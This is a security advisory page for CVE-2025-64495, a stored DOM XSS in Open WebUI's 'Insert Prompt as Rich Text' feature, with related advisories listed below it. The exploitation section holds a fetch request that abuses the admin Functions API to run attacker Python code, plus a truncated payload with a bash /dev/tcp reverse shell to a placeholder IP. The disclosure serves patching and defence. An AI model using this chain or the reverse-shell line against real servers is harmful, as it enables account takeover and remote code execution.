Skip to content
Open WebUIGHSA-w7xj-8fx7-wfch

Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

High8.7CVE-2025-64495 · Published Nov 7, 2025 · updated Jul 7, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.6.350.6.35
Details and references

### Summary The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt. ### Details The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348 ```js export const replaceCommandWithText = async (text) => { const { state, dispatch } = editor.view; const { selection } = state; const pos = selection.from; // Get the plain text of this document // const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n'); // Find the word boundaries at cursor const { start, end } = getWordBoundsAtPos(state.doc, pos); let tr = state.tr; if (insertPromptAsRichText) { const htmlContent = marked .parse(text, { breaks: true, gfm: true }) .trim(); // Create a temporary div to parse HTML const tempDiv = document.createElement('div'); tempDiv.innerHTML = htmlContent; // <---- vulnerable ``` User controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README. <img width="1816" height="498" alt="image" src="https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2" /> ### PoC Create a custom prompt as follows: <img width="3006" height="1100" alt="image" src="https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981" /> Via settings, ensure 'Insert Prompt as Rich Text' is enabled: <img width="2204" height="1268" alt="image" src="https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48" /> Run the command `/poc` via a chat window. <img width="2470" height="1332" alt="image" src="https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744" /> Observe the alert is triggered. <img width="2452" height="1456" alt="image" src="https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea" /> #### RCE Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. This can be accomplished by making them run the following fetch request: ```js fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('echo RCE')" }) }) ``` This cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes <img width="1718" height="482" alt="image" src="https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745" /> To get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript: ```py payload2 = """ fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-79
Also known as
CVE-2025-64495, PYSEC-2026-1741

More Open WebUI advisories

All Open WebUI
DateAdvisory
Nov 72025Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events
CVE-2025-64496High7.3fixed in 0.6.35
Dec 42025open-webui is Vulnerable to Incorrect Access Control
CVE-2025-63681Lowno fix yet
Dec 42025Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web
CVE-2025-65958High8.5fixed in 0.6.37
Mar 27Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`
CVE-2026-28786Medium4.3fixed in 0.8.6
Mar 27Open WebUI's process_files_batch() endpoint missing ownership check, allows unauthorized file overwrite
CVE-2026-28788High7.1fixed in 0.8.6
Mar 27Open WebUI has unauthorized deletion of knowledge files
CVE-2026-29070Medium5.4fixed in 0.8.6

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.